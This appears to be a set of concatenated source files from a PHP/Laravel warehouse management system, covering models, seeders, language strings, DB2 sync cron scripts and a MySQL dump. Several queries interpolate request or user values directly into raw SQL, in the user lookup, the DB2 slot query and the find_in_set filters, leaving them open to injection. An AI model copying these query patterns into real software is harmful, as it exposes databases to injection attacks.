$query = DB::select(DB::raw("SELECT id,username, '<PASSWORD>' as password,firstname as fname,lastname as lname from wms_users where id='$user_id' and deleted_at='0000-00-00 00:00:00'"));
return $query;
}
}
<file_sep><?php
return array(
'heading_title' => 'Audit Trail',
'label_filter_date_from' => 'Date From:',
'label_filter_date_to' => 'Date To:',
'label_filter_module' => 'Module:',
'label_filter_action' => 'Action Done:',
'label_filter_reference' => 'Reference:',
'label_filter_user' => 'Username:',
'col_id' => 'No.',
'col_transaction_date' => 'Transaction Date',
'col_module' => 'Module',
'col_username' => 'Username',
'col_action' => 'Action Done',
'col_details' => 'Details',
'col_reference' => 'Reference',
'col_data_before' => 'Original Data',
'col_data_after' => 'Updated Data',
'error_date' => 'Transaction dates are both required.',
'text_success_archive' => 'Successfully archived audit trail logs.',
'text_success_archive_error'=> 'Something went wrong.',
);<file_sep>
<?php
chdir(dirname(__FILE__));
include_once(__DIR__.'/../ewms_cron_class.php');
include_once('db2_cron_class.php');
$ewms = new cronEWMS();
$db2 = new cronDB2();
$po = $db2->purchaseOrder();
$ewms->purchaseOrder(); sleep(2);
$poDetail = $db2->purchaseOrderDetails();
$ewms->purchaseOrderDetails(); sleep(2);
$picking =$db2->picking();
$ewms->picklist(); sleep(10);
$pickingDetail =$db2->pickingDetail();
$ewms->picklistDetail(); sleep(10);
$mts = $db2->storeReturn();
$ewms->storeReturn(); sleep(2);
$mtsdetail =$db2->storeReturnDetails();
$ewms->storeReturnDetail(); sleep(2);
$sublockpick = $db2->storeReturn_pick();
$ewms->storeReturn_pick() ; sleep(10);
$sublockpickdetail =$db2->storeReturnDetails_pick();
$ewms->storeReturnDetail_pick(); sleep(10);
$sublocreverse =$db2->storeReturn_return();
$ewms->storeReturn_return(); sleep(10);
$sublocreversedetail =$db2->storeReturnDetails_return();
$ewms->storeReturnDetail_return(); sleep(10);
$db2->close();
$ewms->close();<file_sep>-- MySQL dump 10.13 Distrib 5.5.41, for debian-linux-gnu (x86_64)
--
-- Host: localhost Database: ccri
-- ------------------------------------------------------
-- Server version 5.5.41-0ubuntu0.14.04.1
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
--
-- Table structure for table `wms_audit_trail`
--
DROP TABLE IF EXISTS `wms_audit_trail`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `wms_audit_trail` (
`audit_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
`module` varchar(255) COLLATE utf8_unicode_ci NOT NULL,
`reference` varchar(255) COLLATE utf8_unicode_ci NOT NULL,
`action` varchar(255) COLLATE utf8_unicode_ci NOT NULL,
`data_before` text COLLATE utf8_unicode_ci NOT NULL,
`data_after` text COLLATE utf8_unicode_ci NOT NULL,
`user_id` int(11) NOT NULL DEFAULT '0',
`created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
`updated_at` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00',
`deleted_at` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00',
PRIMARY KEY (`audit_id`),
KEY `audit_trail_user_id_index` (`user_id`)
) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `wms_audit_trail`
--
LOCK TABLES `wms_audit_trail` WRITE;
/*!40000 ALTER TABLE `wms_audit_trail` DISABLE KEYS */;
INSERT INTO `wms_audit_trail` VALUES (1,'Inter Transfer','Load #111111','Saved inter transfer','','Inserted inter transfer with mts_number 1231222223 with box total of 22 in load: 111111 and has been added by Stock Piler # 3',3,'2015-04-02 03:31:21','2015-04-02 03:31:21','0000-00-00 00:00:00'),(2,'Inter Transfer','Load #111111','Saved inter transfer','','Inserted inter transfer with mts_number 1231222 with box total of 5 in load: 111111 and has been added by Stock Piler # 3',3,'2015-04-02 03:31:21','2015-04-02 03:31:21','0000-00-00 00:00:00');
/*!40000 ALTER TABLE `wms_audit_trail` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
-- Dump completed on 2015-04-02 11:35:40
<file_sep><?php
class OauthclientSeeder extends Seeder {
/**
* Run the database seeds.
*
* @return void
*/
public function run()
{
// id | secret | name | created_at | updated_at
$clients = array(
array( 'id' => 'IOS_MOB_APP',
'secret' => <KEY>',
'name' => 'IOS_MOB_APP'
),
array( 'id' => 'ANDROID_MOB_APP',
'secret' => <KEY>',
'name' => 'ANDROID_MOB_APP'
)
);
foreach ($clients as $client) {
Oauthclient::create($client);
}
}
}<file_sep><?php
class StoreOrderSeeder extends Seeder {
/**
* Run the database seeds.
*
* @return void
*/
public function run() {
DB::table('store_order')->truncate();
StoreOrder::create(array(
"so_no" => "1",
"so_status" => 1,
"store_code" => "ST1",
"order_date" => "2014-04-23 00:00:00",
));
StoreOrder::create(array(
"so_no" => "2",
"so_status" => 1,
"store_code" => "ST2",
"order_date" => "2014-04-20 00:00:00",
));
StoreOrder::create(array(
"so_no" => "3",
"so_status" => 1,
"store_code" => "ST3",
"order_date" => "2014-04-28 00:00:00",
));
StoreOrder::create(array(
"so_no" => "4",
"so_status" => 1,
"store_code" => "ST3",
"order_date" => "2014-04-28 00:00:00",
));
StoreOrder::create(array(
"so_no" => "5",
"so_status" => 1,
"store_code" => "ST3",
"order_date" => "2014-04-28 00:00:00",
));
StoreOrder::create(array(
"so_no" => "6",
"so_status" => 1,
"store_code" => "ST1",
"order_date" => "2014-04-28 00:00:00",
));
StoreOrder::create(array(
"so_no" => "7",
"so_status" => 1,
"store_code" => "ST2",
"order_date" => "2014-04-28 00:00:00",
));
}
}<file_sep><?php
require_once(__DIR__ . '/db_connection/db_manual_move_query.php');
require_once(__DIR__ . '/keystroke/WHManual_Move.php');
//$db_connect = new DB_ManualMove_Functions();
//$db_connect->connect();
//$getSKUQTY = $db_connect->getSKUQTY();
//foreach ($getSKUQTY as $sku)
//{
//echo " Transfer no. : ".$details['move_doc_number']."\n";
$WHManualMove = new WHManualMove ();
$WHManualMove->Login();
if($WHManualMove)
{
$WHManualMove->Initiate();
$WHManualMove->DoManualMove("1313754","SZ000001","1");
//$db_connect->updateIsSyncedShipping($header['load_code']);
}
//}
<file_sep><?php
require_once(__DIR__ . '/db_connection/db_return_warehouse.php');
require_once(__DIR__ . '/keystroke/return_warehouse.php');
$db_connect = new db_return_warehouse_function ();
$db_connect->Connect();
$getClosed = $db_connect->getClosedRW();
foreach ($getClosed as $header)
{
echo "MTS Number :".$header['move_doc_number']."\n";
$getPickedQty = $db_connect->getQtyRW($header['move_doc_number']);
foreach ($getPickedQty as $details)
{
echo " SKU ->".$details['sku']." ".$details['moved_qty']."\n";
$db_connect->JDAUpdateRWQty($header['move_doc_number'], $details['sku'],$details['moved_qty']);
}
$whpicking = new ReturnWarehouse ();
$whpicking->Login();
if($whpicking)
{
$whpicking->Initiate();
$whpicking->DoRWHReceiving($header['move_doc_number']);
}
$db_connect->updateIsSyncedRW($header['move_doc_number']);
}
<file_sep><?php
return array(
/*"boxing" => "Box Manifest",*/
// "letdown" => "Letdown",/*
"purchaseorder" => "Purchase Order",
"picking/packing" => "Picking / Packing",
"loading/shipping" => "Loading / Shipping",
"subloc_receiving" => "Subloc MTS Receiving",
"subloc_picking" => "Subloc Picking ",
"subloc_loading" => "Subloc Loading ",
"return_wrhouse" => "Return to Warehouse",
/*"reservezone" => "Picking Location",*/
/*"slotmaster" => "Slots"*/
"productmaster" => "Product Masterlist",
"stores" => "Store Master list",
"users" => "Users",/*
"settings" => "Settings",*/
"user_roles" => "User Roles"
/* "inter_transfer" => "Inter Transfer",
"manual_move" => "Manual Move"*/
);<file_sep><?php
return array(
'module_purchase_order' => 'Purchase Order',
'module_letdown' => 'Letdown',
'module_picklist' => 'Picklist',
'module_box' => 'Box Header',
'module_pallet' => 'Pallet Header',
'module_load' => 'Load Header',
'module_palletize_box' => 'Palletize Box',
'module_loading' => 'Loading',
'module_shipping' => 'Shipping',
'module_store_return' => 'Store Return',
'jda_action_po_receiving' => 'Receiving',
'jda_action_po_closing' => 'Closing',
'jda_action_letdown' => 'Closing',
'jda_action_picklist' => 'Closing',
'jda_action_box' => 'Creation',
'jda_action_pallet' => 'Creation',
'jda_action_load' => 'Creation',
'jda_action_palletize_box' => 'Assigning',
'jda_action_loading' => 'Assigning',
'jda_action_shipping' => 'Shipping',
'jda_action_sr_closing' => 'Returning'
);<file_sep><?php
class StoreSO extends Eloquent {
protected $table = 'store_so';
public static function getOpenSo($data = array()) {
$store_code = $data['store_code'];
$query = StoreSO::where('store_code', '=', $store_code)
->where('so_status', '=','0');
$result = $query->get(array('so_no', 'so_status', 'delivery_date'));
DebugHelper::log(__METHOD__, $result);
return $result;
}
public static function updateSoStatus($data = array()) {
$so_no = $data['so_no'];
$assigned_user_id = $data['assigned_user_id'];
$result = StoreSO::where('so_no', '=', $so_no)
->update(array(
"assigned_user_id"=> $assigned_user_id,
"so_status" => 1,
'updated_at' => date('Y-m-d H:i:s')
));
DebugHelper::log(__METHOD__, $result);
return $result;
}
}
<file_sep><?php
include_once("jda_modules.php");
$module = new jdaModules();
$module->picklistClosing();
<file_sep><?php
return array(
'heading_title' => 'Box Lists',
'heading_title_detail_contents' => 'Box Content',
'heading_title_add' => 'Create Box',
'heading_title_update' => 'Update Box',
'heading_title_assign_box' => 'Assign Box/s to Stock Piler',
'entry_load' => 'Load Boxes',
'entry_load_create' => 'New Load Code',
'header_pell_details' => 'Pell number details',
'col_pell_no_label' => ' Pell number :',
'label_store' => 'Store:',
'label_box_code' => 'Box Codes:',
'label_upc' => 'UPC:',
'label_load_code' => 'Load Code:',
'label_doc_no' => 'Document Number:',
'label_assign_to' => 'Assign To:',
'assign_to_stock_piler' => 'Assign to stock piler',
'col_id' => 'No.',
'col_id_export' => 'Id',
'col_store' => 'Store',
'col_box_code' => 'Box Code',
'col_box_assign' => 'Assign To',
'col_date_created' => 'Date Created',
'col_action' => 'Action',
'col_inuse' => 'In Use',
'col_store_code' => 'Store Code',
'col_moved_qty' => 'Moved quantity',
'col_upc' => 'UPC',
'button_create_box' => 'Add New Box',
'button_delete_box' => 'Delete Box',
'button_submit' => 'Submit',
'button_cancel' => 'Cancel',
'button_back' => 'Go Back to Box list',
'button_export_box' => 'Export to PDF',
'button_load' => 'Load',
'button_add_store' => 'Add load',
'button_assign_to_user' => 'Assign to Stock Piler',
'text_confirm_delete' => 'Are you sure you want to delete the selected boxes?',
'text_confirm_delete_single'=> 'Are you sure you want to delete this box?',
'text_confirm_create' => 'Are you sure you want to create the box?',
'text_confirm_update' => 'Are your sure you want to update the box',
'text_confirm_cancel' => 'Are you sure you want to cancel?',
'text_confirm_load' => 'Are you sure you want to load the boxes?',
'text_confirm_assign' => 'Assign selected items?',
'text_success_create' => 'You have successfully created a box',
'text_fail_create' => 'This box already exists.',
'text_success_update' => 'You have successfully updated the box',
'text_fail_update' => 'The box cannot be updated.',
'text_success_delete' => 'You have successfully deleted the box',
'text_fail_delete' => 'You have not successfully deleted the box',
'text_warning' => 'Close Boxed',
'text_success_load' => 'You have successfully loaded the boxes',
'text_fail_load' => 'Unable to load box.',
'text_success_assign' => 'Successfully assigned the Boxes!',
'error_delete' => 'Please select boxes to be deleted',
'error_required_fields' => 'Please complete required fields.',
'error_load' => 'Please choose box/s',
'error_load_no_load_code' => 'Please select load code',
'error_assign' => 'Please select the items to be assigned',
'entry_store' => 'Store: ',
'entry_box_code' => 'Box Code: ',
'entry_stock_piler' => 'Stock Piler:',
'pell_no_header_contnt' => 'Pell number Content',
'btn_rem_box' => 'Remove Box no.',
);<file_sep><?php
class StoreReturn extends Eloquent {
protected $table = 'store_return';
public static function getSOList($data = array())
{
// print_r($data); die();
$query = StoreReturn::select('store_return.*','stores.store_name','dataset.data_code', 'dataset.data_value', 'dataset.data_display')
->join('stores', 'store_return.from_store_code', '=', 'stores.store_code', 'LEFT')
->join('dataset', 'so_status', '=', 'dataset.id');
if( CommonHelper::hasValue($data['filter_so_no']) ) $query->where('so_no', 'LIKE', '%'.$data['filter_so_no'].'%');
if( CommonHelper::hasValue($data['filter_store']) ) $query->where('store_return.from_store_code', 'LIKE', $data['filter_store']);
if( CommonHelper::hasValue($data['filter_created_at']) ) $query->where('store_return.created_at', 'LIKE', '%'.$data['filter_created_at'].'%');
if( CommonHelper::hasValue($data['filter_status']) ) $query->where('data_value', 'LIKE', '%'.$data['filter_status'].'%');
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if ($data['sort']=='so_no') $data['sort'] = 'so_no';
if ($data['sort']=='store') $data['sort'] = 'store_name';
if ($data['sort']=='created_at') $data['sort'] = 'store_return.created_at';
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page'])) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$result = $query->get();
// get the multiple stock piler fullname
foreach ($result as $key => $picklist) {
$assignedToUserId = explode(',', $picklist->assigned_to_user_id);
$getUsers = User::getUsersFullname($assignedToUserId);
$result[$key]->fullname = implode(', ', array_map(function ($entry) { return $entry['name']; }, $getUsers));
}
DebugHelper::log(__METHOD__, $result);
return $result;
}
public static function getSOListReport($data= array(), $getCount=false)
{
$query = DB::table('store_return_detail')
->SELECT('store_return.so_no','store_name','to_store_code','store_return_detail.sku as upc','product_lists.sku','description as short_name','users.firstname','users.lastname','store_return_detail.created_at','received_qty','delivered_qty',DB::raw('CONCAT(firstname, " ", lastname) AS fullname, (received_qty - delivered_qty) as variance'))
->join('store_return','store_return_detail.so_no','=','store_return.so_no','LEFT')
->join('product_lists','store_return_detail.sku','=','product_lists.upc','LEFT')
->JOIN('stores','store_return.from_store_code','=','stores.store_code','LEFT')
->JOIN('users','store_return.assigned_to_user_id','=','users.id','LEFT')
->where('store_return.so_status','=',23)
->where('store_return_detail.delivered_qty','<>','store_return_detail.received_qty')
->where('store_return.assigned_to_user_id','!=', 0);
if( CommonHelper::hasValue($data['filter_doc_no']) ) $query->where('store_return.so_no', 'LIKE', '%'. $data['filter_doc_no'] . '%');
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page'])) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$result = $query->get();
// get the multiple stock piler fullname
DebugHelper::log(__METHOD__, $result);
return $result;
}
public static function getStocktransferPickUnlistedReport()
{
$query = DB::SELECT(DB::RAW("SELECT COALESCE(wms_product_lists.sku,'No Available') as sku, COALESCE(wms_store_return_detail.sku, 'No Available') as upc, COALESCE(wms_product_lists.description, 'No Available') as description,
wms_users.firstname, wms_users.lastname, delivered_qty, wms_store_return_detail.received_qty, wms_store_return_detail.created_at, wms_stores.store_name, wms_store_return.so_no
FROM `wms_store_return`
LEFT JOIN wms_store_return_detail on wms_store_return_detail.so_no = wms_store_return.so_no
left join wms_users on wms_store_return.assigned_to_user_id = wms_users.id
left JOIN wms_product_lists on wms_store_return_detail.sku = wms_product_lists.upc
left join wms_stores on wms_store_return.from_store_code = wms_stores.store_code
WHERE
delivered_qty = 0 and wms_store_return.assigned_to_user_id != 0 and wms_store_return.so_status = 23 and wms_product_lists.id is NULL"));
return $query;
}
public static function getStoreReturnTLnumbersync()
{
$query=DB::table('store_return')
->where('store_return.so_status', 20)
->where('store_return.assigned_to_user_id','!=', 0)
->update(['store_return.so_status' =>'21']);
}
public static function updateStatusstocktransfer($tl_number)
{
$query=DB::table('store_return')
->where('store_return.so_no',$tl_number)
->where('store_return.so_status', 22)
->where('store_return.assigned_to_user_id','!=', 0)
->update(['store_return.so_status' =>'23']);
}
public static function getCount($data = array()){
$query = StoreReturn::join('stores', 'store_return.from_store_code', '=', 'stores.store_code', 'LEFT')
->join('dataset', 'so_status', '=', 'dataset.id');
if( CommonHelper::hasValue($data['filter_so_no']) ) $query->where('so_no', 'LIKE', '%'.$data['filter_so_no'].'%');
if( CommonHelper::hasValue($data['filter_store']) ) $query->where('store_return.store_code', 'LIKE', $data['filter_store']);
if( CommonHelper::hasValue($data['filter_created_at']) ) $query->where('store_return.created_at', 'LIKE', '%'.$data['filter_created_at'].'%');
if( CommonHelper::hasValue($data['filter_status']) ) $query->where('data_value', 'LIKE', '%'.$data['filter_status'].'%');
return $query->count();
}
public static function getStockTransferList($data= array(), $getCount=false)
{
// echo "<pre>"; print_r($data); die();
$query = StoreReturn::select('store_return.to_store_code','store_return.from_store_code','store_return.date_entry','store_return.so_no','store_return.so_status','store_return.updated_at','dataset.*','stores.store_name','users.firstname','users.lastname','store_return_detail.delivered_qty as quantity_to_pick','store_return_detail.received_qty as moved_qty')
->join('store_return_detail','store_return.so_no','=','store_return_detail.so_no', 'LEFT')
->join('users','store_return.assigned_to_user_id','=','users.id','LEFT')
->join('stores', 'store_return.from_store_code','=','stores.store_code','LEFT')
->join('dataset', 'store_return.so_status', '=', 'dataset.id');
if( CommonHelper::hasValue($data['filter_doc_no']) ) $query->where('store_return.so_no', 'LIKE', '%'. $data['filter_doc_no'] . '%');
if( CommonHelper::hasValue($data['filter_date_entry']) ) $query->where('store_return.date_entry', 'LIKE', '%'. $data['filter_date_entry'] . '%');
if( CommonHelper::hasValue($data['filter_store']) ) $query->where('from_store_code', '=', $data['filter_store']);
if( CommonHelper::hasValue($data['filter_store_name']) ) $query->where('store_return.to_store_code', '=', $data['filter_store_name']);
if( CommonHelper::hasValue($data['filter_stock_piler']) ) $query->whereRaw('find_in_set('. $data['filter_stock_piler'] . ',assigned_to_user_id) > 0');
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page']) && !$getCount) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$query->groupBy('store_return.so_no');
$result = $query->get();
DebugHelper::log(__METHOD__, $result);
// get the multiple stock piler fullname
foreach ($result as $key => $picklist) {
$assignedToUserId = explode(',', $picklist->assigned_to_user_id);
$getUsers = User::getUsersFullname($assignedToUserId);
$result[$key]->fullname = implode(', ', array_map(function ($entry) { return $entry['name']; }, $getUsers));
}
if($getCount) return count($result);
return $result;
}
public static function assignToStockPiler123($docNo = '', $data = array())
{
$query = StoreReturn::where('so_no', '=', $docNo)->update($data);
}
public static function getSOInfo($so_id = NULL) {
$query = StoreReturn::join('dataset', 'store_return.so_status', '=', 'dataset.id', 'LEFT')
->where('store_return.id', '=', $so_id);
$result = $query->get(array(
'store_return.*',
'dataset.data_display',
)
);
return $result[0];
}
public static function getInfoBySoNo($data)
{
return StoreReturn::whereIn('so_no', $data)->get()->toArray();
}
public static function assignToStockPiler($soNo = '', $data = array())
{
$query = StoreReturn::where('so_no', '=', $soNo)->update($data);
}
public static function getSOTLNumber($data)
{
return StoreReturn::whereIn('so_no', $data)->get()->toArray();
}
public static function getStoreList(){
$storeList = StoreReturn::lists('store_code');
return $storeList;
}
/***********************00000*Methods for API only*00000*******************************/
public static function getListByPiler($pilerId)
{
return StoreReturn::whereRaw('find_in_set('. $pilerId . ',assigned_to_user_id) > 0')
->where('data_code', '=', 'SR_STATUS_TYPE')
->where('data_value', '<>', 'closed')
->join('store_return_detail', 'store_return.so_no', '=', 'store_return_detail.so_no')
->join('stores', 'stores.store_code', '=', 'store_return.store_code')
->join('dataset', 'store_return.so_status', '=', 'dataset.id')
->groupBy('store_return.so_no')
->get(array('store_return.so_no','stores.store_name', 'store_return.store_code', 'data_value as status', 'slot_code'))
->toArray();
}
public static function updateStatus($soNo, $soStatus, $slot_code = '')
{
$params = array();
$params = array( "so_status" => $soStatus, "updated_at" => date('Y-m-d H:i:s'));
if ( !empty($slot_code) ) $params['slot_code'] = $slot_code;
return StoreReturn::where('so_no', '=', $soNo)->update($params);
}
}<file_sep><?php
return array(
'heading_title' => 'Store Return',
'heading_title_stock' => 'MTS Receiving List',
'heading_title_so_details' => 'Store Return Details',
'heading_title_so_contents' => 'Store Return Contents',
'heading_title_assign_store_return' => 'Assign Store Return/s to Stock Piler',
'heading_title_assign_MTS_receiving' => 'Assign to Stock Piler',
'subloc_mts_rec_header' => 'Subloc MTS Receiving Details',
'print_pagkaging_slip' => 'Print Package Slip',
'text_success_close_so' => 'Successfully closed the SO!',
'text_closed_so' => 'Closed',
'text_warning' => 'Close Store Order',
'text_generate_letdown' => 'Generate Letdown list',
'text_print_manifest' => 'Print Delivery Manifest',
'text_success_generated' => 'Letdown list Generated',
'text_confirm_assign' => 'Assign selected items?',
'heading_title_assign_picking' => 'Assign to Stock Piler',
'entry_doc_no' => 'Mts number :',
'label_store_order_no' => 'Transfer No.:',
'label_store' => 'From ',
'label_store_to' => 'To ',
'label_picker' => 'Piler name :',
'col_remov_btn' => 'Remove Box no.',
'col_qty_to_pick' => 'Quantity Picked',
'col_to_move' => 'Quantity received',
'col_to_tl_number1' => 'MTS number',
'label_order_date' => 'Delivered Date:',
'label_dispatch_date' => 'Shipped Date:',
'label_status' => 'Status:',
'label_receiver' => 'Receiver:',
'label_jda_sync' => 'Latest JDA Sync Date:',
'label_app_sync' => 'Latest App Sync Date:',
'text_empty_results' => 'No found Results',
'store_order_no' => 'Transfer No.:',
'entry_so' => 'UPC :',
'entry_stock_piler' => 'Stock Piler:',
'col_no' => 'No',
'button_close_so' => 'Close SO',
'button_generate_letdown' => 'Generate Letdown list',
'button_print_manifest' => 'Print Delivery Manifest',
'button_close_store_return' => 'Close',
'button_assign_to_stock_piler' => 'Assign Stock Piler',
'button_close_picklist' => 'Open',
'btn_close_Str_pl' => 'Close',
'button_back' => 'back to Mts picking',
'col_btn_back_pellNUmber' => 'back to list',
'entry_sku' => 'SKU',
'col_id' => 'No.',
'col_so_no' => 'Transfer No.',
'col_store' => 'Store',
'col_tl_number' => 'TL number',
'col_shrt_nm' => 'Short Name',
'col_store_name' => 'Store Name',
'col_from_store_name' => 'From Sub loc',
'col_to_store_name' => 'To Sub loc',
'col_order_date' => 'Delivered Date',
'col_stock_piler' => 'Piler Name',
'col_entry_date' => 'Date Entry',
'col_var' => 'Variance',
'col_mts_rep' => 'Mts Report List',
'col_status' => 'Status',
'button_search' => 'Search now',
'button_clear' => 'Clear filter',
'heading_title_picking_details' => 'Subloc Transfer Picking detail',
'head_subloc_loading' => 'Subloc Transfer Pell list ',
'subloc_load_content' => 'Subloc Transfer Pell number Content',
'subloc_load_number' => 'Subloc Transfer Pell Number',
'subloc_load_TLposted' => 'Subloc Transfer Box number',
'btn_subloc_pell_no' => 'Assign to Pell number',
'heading_title_mts_details' => 'MTS details',
'col_ld_status' => 'Letdown Status',
'col_load_code' => 'Load code',
'col_action' => 'Action',
'col_box_no' => 'Box No.',
'col_issued' => 'Issued',
'col_received' => 'Received',
'col_receiving_stock_piler' => 'Receiving Stock Piler',
'col_damaged' => 'Damaged',
'col_sku' => 'SKU',
'col_upc' => 'UPC',
'col_short_name' => 'Short Name',
'col_allocated_quantity' => 'Allocated Quantity',
'col_delivered_quantity' => 'Shipped Qty',
'col_picked_quantity' => 'Packed Quantity',
'col_packed_quantity' => 'Packed Quantity',
'col_slot_no' => 'Slot No.',
'col_expiry_date' => 'Expiry Date',
'col_moved_to_picking' => 'Brought to Picking Zone?',
'col_to_label_print' => 'To :',
'error_so_details' => 'No Store Order Details found!',
'error_letdown_list_details'=> 'Can\'t Generate Letdown list',
'error_assign' => 'Please select the items to be assigned',
'entry_so_no' => 'Store Return No.:',
'entry_stock_piler' => 'Stock Piler:',
'text_success_assign' => 'Successfully assigned the Store Return/s!',
'text_success_assign_stockreceiving' => 'Successfully assigned the MTS Receiving/s!',
'text_posted' => 'Posted',
'text_success_posted' => 'Successfully closed store return!',
'text_success_postedstocktransfer' => 'Successfully closed stock transfer receiving!',
'text_success_postedstocktransferasdf' => 'Successfully closed stock transfer picking!',
'reverse_text_successfully' => 'Successfully closed Reverse tl number!'
);<file_sep><?php
class Vendors extends Eloquent {
/**
* The database table used by the model.
*
* @var string
*/
protected $table = 'vendors';
public static function getVendorLists($data = array(), $getCount=false) {
$query = DB::table('vendors');
if( CommonHelper::hasValue($data['filter_vendor_no']) ) $query->where('vendor_code', 'LIKE', '%'.$data['filter_vendor_no'].'%');
if( CommonHelper::hasValue($data['filter_vendor_name']) ) $query->where('vendor_name', 'LIKE', '%'.$data['filter_vendor_name'].'%');
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if ($data['sort']=='date') $data['sort'] = 'created_at';
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page']) && $getCount == false) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
if($getCount) {
$result = $query->count();
} else{
$result = $query->get();
}
return $result;
}
}<file_sep><?php
class SlotList extends Eloquent {
protected $table = 'slot_lists';
public static function getSlotLists($data = array()) {
$query = DB::table('slot_lists')
->select('slot_lists.*');
if( CommonHelper::hasValue($data['filter_slot_no']) ) $query->where('slot_code', 'LIKE', '%'.$data['filter_slot_no'].'%');
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if ($data['sort']=='date') $data['sort'] = 'created_at';
if ($data['sort']=='username') $data['sort'] = 'users.username';
if ($data['sort']=='details') $data['sort'] = 'data_before';
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page'])) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$result = $query->get();
return $result;
}
public static function getCountSlotLists($data = array()) {
$query = DB::table('slot_lists');
if( CommonHelper::hasValue($data['filter_slot_no']) ) $query->where('slot_code', 'LIKE', '%'.$data['filter_slot_no'].'%');
return $query->count();
}
public static function isSlotExist($slotCode) {
$query = SlotList::where('slot_code', '=', $slotCode)->first();
// print_r($query);
if (! empty($query) ) return $query['slot_code'];
return false;
}
}<file_sep><?php
class ManualMove extends Eloquent {
protected $table = 'manual_move';
public static function getDB2Info($fromSlot, $upc) {
$dsn = Config::get('app.db2_dsn');
$username = Config::get('app.db2_username');
$password = Config::get('app.db2_password');
$tempFieldNames = [];
$sql = "SELECT WHSLOT from_slot, INVUPC.INUMBR, INVUPC.IUPC upc,INVMST.IDESCR description, WHHAND, WHCOMM, WHHAND - WHCOMM as total
FROM WHSLSK
INNER JOIN INVUPC ON WHSLSK.INUMBR = INVUPC.INUMBR
INNER JOIN INVMST ON INVUPC.INUMBR = INVMST.INUMBR
WHERE WHSLOT = '{$fromSlot}' AND INVUPC.IUPC = {$upc}
FETCH FIRST 1 ROWS ONLY";
// WHHAND - WHCOMM
$connection = @odbc_connect($dsn,$username,$password,SQL_CUR_USE_DRIVER);
if (!($connection)) throw new Exception("Error! Couldn't Connect To DB2 Database. Error Code: ".odbc_error());
$res = @odbc_exec($connection,$sql);
if (!($res)) throw new Exception("Error! Couldn't Run Query. Error Code: ".odbc_error());
unset($tempFieldNames);
$toReturn = "";
$i = 0;
$j = 0;
while(odbc_fetch_row($res))
{
//Build tempory
for ($j = 1; $j <= odbc_num_fields($res); $j++) {
$field_name = odbc_field_name($res, $j);
$tempFieldNames[$j] = $field_name;
$ar[$field_name] = trim(odbc_result($res, $field_name));
}
$toReturn[$i] = $ar;
$i++;
}
//result : Array ( [0] => Array ( [WHSLOT] => ZR000001 [INUMBR] => 11270549 [WHHAND] => 1011.00 [WHCOMM] => 0 ) )
return $toReturn;
}
}<file_sep>#!/bin/bash
PWD=`pwd`
STDIR="$(dirname "$PWD")"
CONFIGDIR="dev"
LOOP=CONTINUE
until [ $LOOP = END ]; do
read -p " - Please specify environment [loc][dev][stage][prod] : " env
case $env in
"LOC" | "loc") echo " -- Local environment: setting Local server configurations."
CONFIGDIR="local";
echo "Updating /etc/hosts for local environment";
sudo cp /etc/hosts /etc/hosts.original
echo -e "127.0.0.1\localhost.ewms.com" >> /etc/hosts;
LOOP=END;;
"DEV" | "dev") echo " -- Development environment: setting development server configurations."
CONFIGDIR="dev";
LOOP=END;;
"STAGE" | "stage") echo " -- Staging environment: setting staging server configurations."
CONFIGDIR="stage";
LOOP=END;;
"PROD" | "prod") echo " -- Production environment: setting production server configurations."
